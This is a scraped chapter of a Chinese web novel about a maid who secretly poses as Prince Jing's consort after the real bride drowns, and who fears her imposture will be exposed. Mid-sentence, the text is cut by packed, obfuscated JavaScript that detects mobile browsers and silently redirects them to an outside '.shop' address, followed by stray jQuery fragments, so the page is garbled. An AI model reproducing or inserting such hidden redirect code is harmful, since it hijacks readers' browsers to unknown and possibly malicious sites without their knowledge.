文趣网 > 其他小说 > 王妃 > 3. 第 3 章
    侍卫事无巨细,恭声回禀:“王妃娘娘辰时起身,梳洗净面后用过膳食,给观音上了三炷香,又躺下歇息一个时辰。方才醒来,小厨房温了一碗花胶羹,已经送过去了。”

    燕宗霖点点头,起身前往内院。靖王自幼被皇后抚养,因帝后不合,皇帝对这个儿子冷淡疏离。等到了出宫建府的年纪,太子住在富丽堂皇的东宫,荣王、安王等诸位王爷安置在繁华的朱雀街,燕宗霖却住在五条街开外的槐树巷,每日上朝都要比兄弟们早起半个时辰。

    不过住的偏有偏的好处,靖王府占地广袤,燕宗霖走了一刻钟才踏入院门。绾绾压根儿没有想到他会来,面上一惊,连忙从软榻上起身。

    “王爷安——啊——”

    方才只有她一个人,王妃娘娘褪去袜履,舒舒服服躺在软枕上歇息,这会儿匆忙慌乱,足踝崴了一下,整个人往前扑去。

    燕宗霖眼疾手快,结实有力的手臂环住她的腰,稳稳将人扶住。

    “慌什么。”

    低沉的声线响起,燕宗霖抬手,轻抚她的发丝,把发髻间歪斜的点翠孔雀簪归正。

    绾绾惊魂未定,微微喘着气息,僵了好一会儿才回过神。

    “王爷!”

    她仰起头,浓密的睫毛一颤一颤,“怎么突然回来,也不叫丫鬟们通报一声。”

    她的声音委屈,夹带着一丝嗔怪埋怨,身体却如柔弱的藤蔓,柔柔靠在燕宗霖宽阔的怀中,心有余悸道:

    “吓坏妾了。”

    靖王恪守礼法,是众所周知的重规矩,这会儿却格外宽容。他低低笑了一声,手臂穿过她的腿弯儿,一把把绾绾拦腰抱起。

    “倒是本王的不是,给王妃赔礼。”

    绾绾任由他抱着,他穿着朝服,玄黑缎面的衣袍上绣着细密交织的金云蟒纹,膈得她脸颊疼。绾绾换了个舒服的姿势,手指搅弄着他的袖口,低声嘟囔,“王爷嘴甜,惯会哄妾。”

    普天之下,连皇帝都不敢说沉默寡言的儿子“嘴甜”,绾绾对着燕宗霖冷冽的面容,说得面不改色心不跳,还敢得寸进尺地提要求。

    “再说了,哪里有赔礼,是嘴上说说便了的?”

    燕宗霖略一挑眉,道:“那王妃想要什么,说来听听。”

    绾绾心里纳罕,她也就是顺势撒个娇,哪里敢让燕宗霖真给她赔礼,看来今天王爷的心情很好。

    想来又是太子得到了皇帝的嘉奖,或者太子在和荣王的争锋中略胜一筹罢。

    “嗯,这个么,我要……”

    绾绾沉吟片刻,倏然扬唇浅笑。她本就生得容色秾丽,又日日用滋阴养颜的补品调身子,养得面若凝脂,桃腮粉嫩。在棠色衫裙的相衬下,宛若春风吹绽的桃花,明艳动人。

    “那妾便斗胆许愿,王爷今日不去工部衙门,在府里安安稳稳睡一觉罢。”

    他眼底一片淡淡的乌青,昨夜一定没有歇好。绾绾也知道自家王爷领的是工部闲差,每日在衙门临摹城垣斗拱的样图,没甚么用,却风雨无阻地上值,堂堂皇亲贵胄,比寻常小吏都要勤勉。

    绾绾心疼他。不过靖王谨慎持重,大概不会听她的。

    绾绾心头不是滋味,果然,她听见燕宗霖低沉的声音,“可。”

    绾绾:“嗯……嗯?”

    怎么回事,今天太阳从西边出来了?

    绾绾一下卡了壳,她仰着头,乌黑明亮的眼眸睁得浑圆,像一只呆呆无辜的猫儿,燕宗霖心觉她可怜可爱,不由轻笑出声。

    “王妃?”

    “哦哦。”

    绾绾回过神,慌忙别开脸,“那、那……王爷先歇着?”

    话一出口,绾绾恨不得咬破自己的舌头,这青天白日的,“歇歇”可不是阖眼睡觉这么回事。虽然她也急着怀,白日宣淫这种事,她还做不来。

    绾绾粉白的面颊泛出一缕红晕,好在靖王不是促狭人,说了句“不忙”,及时转移话题,缓解了绾绾的尴尬。

    燕宗霖温声问她,“今早做了什么?”

    绾绾思虑片刻,回道:“妾早晨读了一卷《孟子》,刚好饿了,小厨房送来了一盏花胶羹,妾尝着鲜美。”

    “王爷要不要尝一尝?”

    花胶便是鱼肚,绾绾其实不喜欢这个味道,不管厨房怎么做都带着股腥味儿。只是花胶有滋气养血,调养胞宫的功效,是对女人上好的补品,她每天都喝一碗,几年下来,绾绾比初来京时丰润了些,一张粉颊白里透红,愈发容光灼灼。

    燕宗霖摇了摇头,他对女人的零嘴没兴趣。听到她说读《孟子》,他淡淡道:“不必看这些闲书,当心看坏眼睛。”

    绾绾笑着应声,她早晨顶着困意起来填饱肚子,歪头又睡了一觉,回笼觉刚醒就看见燕宗霖过来,哪儿有闲工夫读这子、那子的。

    她不读,“靖王妃”必须读。

    毕竟靖王妃萧琬出身名门,萧氏在金陵盛办族学,府中丫鬟小厮都粗浅识得几个大字,作为萧氏的嫡出大小姐,“靖王妃”有咏絮之才,是金陵鼎鼎有名的才女。

    琬者,美玉也。可惜了,她不是美玉,她只是金陵萧府里的婢女,她叫绾绾。

    三年前,她作为陪嫁丫鬟跟着萧大小姐登上喜船,路遇水匪,船翻了,萧琬命丧寒江,反而是她这个卑贱的侍女略通水性,侥幸活了下来。

    一个活着的“王妃”比死了的“萧氏女”有用得多,萧老爷也是心狠,硬生生把丧女之痛压在心底,继续让人吹奏喜乐行船,而她则穿上嫁衣,顶替原本的萧大小姐,成为了靖王妃。

    ……

    靖王生得高大伟岸,人又冷漠严肃,起初绾绾在他面前战战兢兢,大气都不敢喘。既怕这个冷面煞神,又怕东窗事发,即使不识律法的绾绾也知道,这等欺君之罪,几个脑袋都不够砍。

    心中日夜惶恐,加上皇家媳不好当。皇后娘娘面上慈祥,一句话八百个心眼,贵妃娘娘明里暗里刁难,靖王也不是怜惜人的性子,新婚夜冷淡地例行公事,弄得她很痛,不出意外地,她病了。

    一病好几个月,惊动了金陵的萧家,萧氏送了旁支的几个姑娘来京城给靖王妃“侍疾”,环肥燕瘦,各有千秋,在看到那

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815909|211050||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    些貌美姑娘的瞬间,烧得迷迷糊糊的绾绾仿佛被泼了一盆凉水,清醒得可怕。

    她一介孤女,六岁被卖到萧家,无父无母,了无牵挂。可萧氏枝繁叶茂,加上那些沾亲带故的远亲旁支,族中子弟有上千人,比起她,最怕身份败露的,该是萧氏才对啊。

    倘若貌美的族妹们有人得了靖王怜惜,姐妹共侍一夫也算一段佳话。后面靖王妃“病逝”,族妹顺势上位,萧氏依旧是皇家的姻亲,这场“欺君之罪”,自然随着王妃的棺椁深埋地下,没有人会知晓。

    绾绾惊得一身冷汗,她还没有活够,她不想死!

    在生死的巨大恐惧下,什么羞涩,什么尊严,通通不值一提。绾绾强撑病体起身,看着镜中的女人,眼眸乌黑,脸颊苍白,病中也难掩姝色。

    她一直知道,自己很美,萧琬那么厌恶她,还是选她做陪嫁通房,替她笼络将来的夫君。

    绾绾颤巍巍坐下来,在脸颊上擦了一层珍珠粉,涂上口脂,乌黑的发髻松松散开。她犹豫了一瞬,咬牙褪下贴身小衣,浑身只穿了一件宽松衣裙,命人去请靖王。

    ……

    往事不可追,好在最艰难的日子已经过去,如今他们夫妻和睦,绾绾渐渐习惯了“靖王妃”的身份,赏花品茶、刺绣弹琴、投壶骑射等雅事信手拈来。

    她跟着萧琬念过书,但毕竟没有正经上过学堂,老、庄之类晦涩的典籍她读不懂,《论语》又过于简单,便拿了一本《孟子》日日放在手边,佯装爱读书的才女。

    说来也奇怪,她这几年翻来覆去品读这本书,盘算着万一有一天靖王问起来,她能对答如流。燕宗霖是个古板的男人,想当初她缠着他学骑射,他不喜欢,但教她的时候一丝不苟,稍有不慎便抽她手心,痛死了,她那段时间看见他吓得直哆嗦,夜里做噩梦。

    这样一个男人,绾绾觉得,他应该赞许她看书,并且喜欢当夫子,时不时考校她一番,答不对罚她抄书,抽她手心,这才像他。

    可燕宗霖很少问她这些,夫妻闲暇小叙,多是商量休沐时去哪里散心,京城开了哪家新菜馆,她今日听了什么曲儿……甚至他会把太子和荣王的争锋当成逗趣讲给她听,偏偏不问她读了什么书,有什么感悟。

    绾绾心道可惜,这几年的《孟子》算是白研读了。靖王爷虽说是皇帝不得宠的儿子,在靖王府,王爷便是说一不二的天,既然他说“废眼睛”,她自然得遵从。

    “也是,太医说了,妾受不得劳累,日后便不看了。”

    “嗯?”

    燕宗霖闻言眉心微皱,虎口钳住她的下颌,仔细端详。

    “怎么受不得劳累?病了?”

    绾绾被他看的不好意思,她恨不得一日请三回平安脉,补品当成饭吃,说不准比靖王都康健,太医的意思是她怀孕艰难,少受劳累才好生。

    她不说话,燕宗霖直接命人宣太医,绾绾真怕笑话闹到宫里,连忙扯住他的衣袖,“王爷——”

    对上燕宗霖凝重的神色,绾绾无奈地闭了闭眼,握住他的大掌,轻轻地放在她平坦的小腹上。